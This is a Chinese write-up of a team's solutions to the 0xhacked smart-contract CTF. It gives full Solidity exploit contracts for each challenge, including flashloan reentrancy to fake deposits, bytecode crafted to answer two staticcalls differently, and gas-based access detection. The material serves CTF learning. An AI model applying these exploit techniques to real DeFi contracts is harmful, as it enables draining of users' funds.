0xhacked CTF 大赛题解出炉啦!

WriteUp 1年前 (2023) admin
173 0 0

此次 0xhacked CTF 比赛,ChainSecLabs 取得了第四名的成绩。让我们来看看比赛题目的题解吧。(题目代码仓库在文末哦~)


0xhacked CTF 大赛题解出炉啦!

0xhacked CTF 大赛题解出炉啦!




BabyOtter

这是应该说是一个算法题,很明显需要溢出,因为精度问题,uint256(-1)/0x1337并不行。没有写出一个脚本找出X,而是找到了其中的数学规律。


//387 第12次溢出//362 第24次溢出//337 第36次溢出...//12 第192溢出



以上是一个循环,之后每个循环的末尾的数减1。


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;
interface IBabyOtter {    function solve(uint x) external;}
contract Exploit {    function exploit() public {        uint number = 106517423012574869748253447278778772725360170890836257832597187972312850502279;        address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;        IBabyOtter(target).solve(number);    }}





ChildOtter

做题时只是用debug查了下memory中0x20的值是

0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,因为target=mload(32),直接取内存中0x20~0x40的值。

赛后仔细观察val[0][0] = x;的赋值过程发现,会先计算第一层映射值的插槽储存在memory0x20中,用于计算第二层映射值的插槽,然后sstore,第二层的映射位置没有写入memory而是存在于stack用了就丢弃。

0xhacked CTF 大赛题解出炉啦!

原理:对应文档中的映射值得插槽计算方法通过

keccak256(abi.encodePacked(uint(key),uint(slot)))

可以算出 第一层映射值得插槽为:

0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,

第二层映射插槽为:

0xed428e1c45e1d9561b62834e1a2d3015a0caae3bfdc16b4da059ac885b01a145


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;interface IChildOtter {    function solve(uint x) external;}
contract Exploit {    function exploit() public {        // write code here        address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116;        IChildOtter(target).solve(            0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5        );    }}





StakePool


本题的Pool中flashloan存在重入,在flashloan过程中可以再次调用合约的deposit,这个deposit的行为就相当于还钱闪电贷了,但是却给我们记录了存款的假象。这样我们只需要支付闪贷的手续费,就可以获得大量余额。分多次削减Pool中余额完成题目,因为一次借贷太多钱会导致手续费过高,题目环境我们没有太多的钱。


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;interface IStakePool {    function deposit() external payable returns (uint256);    function withdraw(uint256 shares) external returns (uint256);    function flashloan(uint256 amount, bytes calldata data) external;    function faucet() external;    function solve() external;}
contract Exploit {    uint shares;
   function exploit() public {        // write code here        address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
       IStakePool(target).faucet();
       uint amount = (address(this).balance * 10000) / 5;        IStakePool(target).flashloan(amount, "");        IStakePool(target).withdraw(shares);        for(uint i = 0; i < 2; i++){            IStakePool(target).flashloan(address(target).balance, "");            IStakePool(target).withdraw(shares);        }
       IStakePool(target).solve();    }
   function onStakPoolFlashloan(        uint amount,        uint feeAmount,        bytes memory data    ) external payable {        address target = 0x511978e46Fc117795431f7493fB5288592097C4A;        shares = IStakePool(target).deposit{value: amount + feeAmount}();    }
   fallback() external payable {}}




Bytedance


完成题目需要跑通过两次staticcall返回不同的值。

第一次会把”Hello Player”和target的字节码打包创建一个新的合约。”Hello Player“的bytes表示为

0x48656c6c6f20506c61796572 

转换为字节码为:

[00] BASEFEE
[01] PUSH6 6c6c6f20506c
[08] PUSH2 7965
[0b] PUSH19


可以看到前面这些字节码无伤大雅 只需要填充19字节就可以直接按照我们的逻辑来编写。

第二次把”`*V”和target的字节码打包创建一个新合约。”`*V”的bytes表示为0x602a56 转换为字节码为:

[00] PUSH1 2a
[02] JUMP


发现字节码会直接跳转到2a的地方继续执行,那么字节码中必须由jumpdest ,但是第一个打包中没有jump。

我首先考虑控制push19 和 jumpdest中间的字段,让第一次打包后jumpdest被覆盖进push的内容中,而第二次打包jumpdest在正确的位置,之后按照自身字节码长度来判断应该返回的值。

我构造了如下字节码:


0x72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd


 

第一次打包后为:

0xhacked CTF 大赛题解出炉啦!

第二次打包后为:

0xhacked CTF 大赛题解出炉啦!

最后还要解决的一个问题是要求setup target时地址代码长度要求0,我们可以在构造函数中调用setup,这样由于合约还未完成部署,检测的代码长度为0。

攻击合约:


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;
interface IBytedance {    function solve() external;
   function setup() external;}
contract Exploit {    function exploit() public {        address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;        bytes            memory code = hex"72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd";        Helper helper = new Helper(code);
       IBytedance(target).solve();    }}
contract Helper {    constructor(bytes memory a) public payable {        address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;        IBytedance(target).setup();        assembly {            return(add(0x20, a), mload(a))        }    }}


赛后想了下应该有更简单的构造方法,比如在jumpdest之前返回0x48656c6c6f20506c61796572,jumpdest之后返回0x602a56,并且用RETURN返回数据更好,当然本处使用了REVERT一样可行。




Factorial


题目让我们成功调用run方法,其中会staticcall回调msg.sender的factorial(uint256)5次,返回值累乘的结果是120。正常情况下,相同的返回值,累乘5次不可能刚好是120,因此我们需要返回不同的值。

因为staticcall限制不能修改状态,因此采用gas限制,根据冷热地址访问gas消耗不同,返回不同的值:第一次热访问返回120,后面4次冷访问都返回1,即可。


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;
interface IFactorial {    function solve() external;}
contract Exploit {    IFactorial level;
   // construct() {} // construct not allowed
   function exploit() public {        // write code here        address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB;        level = IFactorial(target);        level.solve();    }
   function factorial(uint256) public view returns (bytes32) {        uint startGas = gasleft();        uint bal = address(0x100).balance;        uint usedGas = startGas - gasleft();        if (usedGas < 1000) {            bytes32 data01 = bytes32(uint256(1));            return data01;        }        bytes32 data02 = bytes32(uint256(120));        return data02;    }
}




AdultOtter


又是一道算法题,如下是分析:

  • 2**255刚好能被2**64除断。

  • 对b[i]展开:b[i]=(2**255 + code[i] – 7 *i**i * code[i]+ b[i-1]) % 2**64;

  • b[15] =  15 *2**255 + code[15] – 7 *i**i * code[15] + code[14] – 7 *i**i * code[14] +  ……  code[1] – 7 *i**i * code[1] + b[0]

  • 那么使 code[15] – 7 *i**i * code[15] + code[14] – 7 *i**i * code[14] +  ……  code[1] – 7 *i**i * code[1]+ b[0] 为2**64倍数即可。

最终构造出来的结果如下:


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;
interface IAdultOtter {    function pwn(uint[16] memory code) external;}
contract Exploit{
   function exploit() public  {    address addr = 0x6D40aCf2EF8F8F99247666AEE922E79CB605DE3B;    uint[16] memory DataNumber;    DataNumber[0] = 11;    DataNumber[1] = 1513;    DataNumber[2] = 3859;    DataNumber[3] = 5192;    DataNumber[4] = 6112;    DataNumber[5] = 7966;    DataNumber[6] = 9263;    DataNumber[7] = 10432;    DataNumber[8] = 11709;    DataNumber[9] = 13320;    DataNumber[10] = 14564;    DataNumber[11] = 15480;    DataNumber[12] = 16614;    DataNumber[13] = 18200;    DataNumber[14] = 19485;    DataNumber[15] = 21344;    IAdultOtter(addr).pwn(DataNumber);    }
}



Snakes


这道题给了一大串字节码(其实是initcode),然后部署,调用输入的code参数,需要返回true。

经过反编译分析,返现参数code只有高8字节有用,多余内容会截断。分析题意只要程序执行到STOP操作码就可以了,这道题随便输入都很容易可以到STOP操作码,并且有很多STOP操作码的地方,个人感觉题目出得不好,随便试了几个参数code都可以通过。

题外话:即使本题找到STOP的条件很苛刻,也可以直接爆破,毕竟8字节的也不多,2**64种可能性。


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;
interface ISnakes {  function solve(bytes memory) external;}
contract Exploit {
   // construct() {} // construct not allowed
   function exploit() public {        // write code here        address target = 0x827bB86B1594C77C9Ef9c126Bf1b0D46DC81aEEA;        bytes memory code = hex"12345678";        ISnakes(target).solve(code);    }}


 题目代码仓库:

https://github.com/0xHackedLabs/ctf/tree/main


0xhacked CTF 大赛题解出炉啦!

– END –


文案 | 张凯 于文杰 陈钦

排版 | 杜以晴


原文始发于微信公众号(ChainSecLabs):0xhacked CTF 大赛题解出炉啦!

版权声明:admin 发表于 2023年10月8日 下午9:20。
转载请注明:0xhacked CTF 大赛题解出炉啦! | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...